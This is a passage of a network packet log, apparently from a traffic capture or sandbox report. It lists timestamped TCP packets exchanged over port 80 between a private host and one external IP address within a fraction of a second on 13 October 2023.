Oct 13, 2023 16:05:55.566168070 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:55.566204071 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.566257954 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.566296101 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:55.566332102 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.566374063 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.566415071 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:55.566446066 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.566492081 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.566534042 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:55.566555977 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.566637039 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.566680908 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.566683054 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:55.566788912 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.566837072 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:55.566868067 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.566936970 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.566977978 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.566978931 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:55.567051888 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.567094088 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:55.567125082 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.567198038 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.567244053 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:55.567271948 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.567338943 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.567356110 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.567383051 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:55.567426920 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.567472935 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:55.567517042 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.567565918 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.567608118 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:55.567635059 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.567733049 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.567775011 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:55.567776918 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.567821026 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.567856073 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.567863941 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:55.567930937 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.567969084 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.567972898 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:55.568037987 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.568079948 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:55.568108082 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.568125963 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.568165064 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:55.568201065 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.568272114 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.568316936 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:55.568327904 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.568394899 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.568438053 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:55.568487883 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.568564892 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.568605900 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:55.568665981 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.568772078 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.568799019 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.568813086 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:55.568903923 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.568908930 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:55.568947077 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:55.568984032 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.569027901 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.569068909 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:55.569119930 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.569150925 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:55.569164991 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.569207907 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:55.569227934 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.569303036 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.569344997 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:55.569365025 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.569431067 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.569470882 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:55.569483042 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.569571018 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.569612026 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:55.569648027 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.569694042 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.569732904 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:55.569811106 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.569852114 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.569899082 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:55.569902897 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.569921970 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:55.569956064 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.569973946 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.569997072 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:55.570060968 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.570101976 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:55.570175886 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.570285082 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:55.570327997 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.570375919 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:55.570377111 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.570468903 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.570513010 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:55.570527077 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.570564032 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:55.570630074 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.570647955 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.570672035 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:55.570699930 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.570722103 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:55.570736885 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:55.570751905 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.570770025 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:55.570827007 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:55.570827961 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.570873976 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:55.570899963 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.570904970 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:55.570945024 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.570980072 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.570992947 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:55.571069002 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.571085930 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.571110010 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:55.571137905 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.571178913 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:55.571206093 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.571239948 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.571280956 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:55.571293116 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.571360111 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.571402073 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:55.571490049 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.571552992 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.571588039 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.571594000 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:55.571696997 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.571739912 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:55.571741104 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.571829081 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.571883917 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.571912050 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:55.571954966 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.572000980 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:55.572005033 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.572165966 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.572213888 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:55.572257996 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.572307110 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.572350979 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:55.572355986 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.572465897 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.572506905 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:55.572580099 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.572597980 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.572642088 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:55.572674036 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.572753906 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.572804928 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:55.572825909 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.572906971 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.572932959 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.572951078 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:55.572997093 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.573014021 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.573040009 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:55.573110104 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.573168039 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.573169947 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:55.573241949 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.573291063 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:55.573327065 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.573401928 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.573443890 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:55.573518038 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.573599100 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.573656082 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:55.573683023 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.573791981 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.573834896 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:55.573869944 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.573941946 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.573985100 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:55.574006081 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.574055910 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.574096918 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:55.574131966 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.574213982 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.574299097 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.574315071 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.574331045 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:55.574378014 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:55.574378014 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.574454069 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.574501991 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:55.574501991 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.574541092 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.574584961 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:55.574588060 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.574671984 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.574724913 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:55.574734926 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.574832916 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.574876070 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:55.574889898 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.574944019 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.574990034 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:55.575016022 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.575095892 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.575141907 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:55.575190067 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.575284004 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.575328112 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.575329065 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:55.575432062 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.575478077 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:55.575510979 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.575613022 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.575659037 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:55.575742960 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.575782061 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.575825930 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:55.575872898 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.575922966 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.575969934 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:55.576050997 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.576107025 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.576149940 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:55.576159000 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.576220989 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.576267004 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:55.576286077 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.576344013 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.576359034 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.576390028 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:55.576463938 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.576479912 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.576512098 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:55.576582909 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.576628923 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:55.576662064 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.576678991 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.576720953 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:55.576795101 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.576836109 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.576879978 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:55.576893091 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.576951981 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.577006102 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:55.577024937 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.577136993 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.577176094 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.577183008 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:55.577214003 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.577256918 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:55.577337027 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.577402115 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.577450991 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:55.577483892 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.577555895 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.577601910 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:55.577649117 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.577718019 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.577761889 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:55.577795029 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.577827930 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.577872038 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:55.577893972 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.577924967 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.577971935 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:55.577994108 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.578033924 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.578072071 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.578078985 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:55.578166008 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.578211069 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:55.578243971 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.578316927 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.578365088 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:55.578392029 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.578490019 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.578538895 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:55.578547955 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.578610897 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.578650951 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:55.578677893 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.578757048 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.578773975 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.578798056 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:55.578830957 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.578870058 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:55.578910112 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.578952074 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.578990936 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:55.578999996 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.579091072 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.579133034 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:55.579164982 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.579277039 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.579323053 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:55.579328060 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.579406977 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.579449892 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:55.579482079 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.579561949 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.579602003 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:55.579622984 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.579691887 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.579731941 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:55.579732895 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.579790115 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.579837084 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:55.579854965 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.579916000 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.579931974 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.579956055 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:55.580166101 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.580216885 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:55.580355883 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.580426931 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.580485106 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.580487013 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:55.580550909 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.580595016 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:55.580666065 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.580734968 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.580784082 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:55.580811024 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.580843925 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.580885887 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.580887079 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:55.580946922 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.580993891 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:55.581021070 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.581080914 CEST	80	49762	91.215.85.17	192.168.2.4
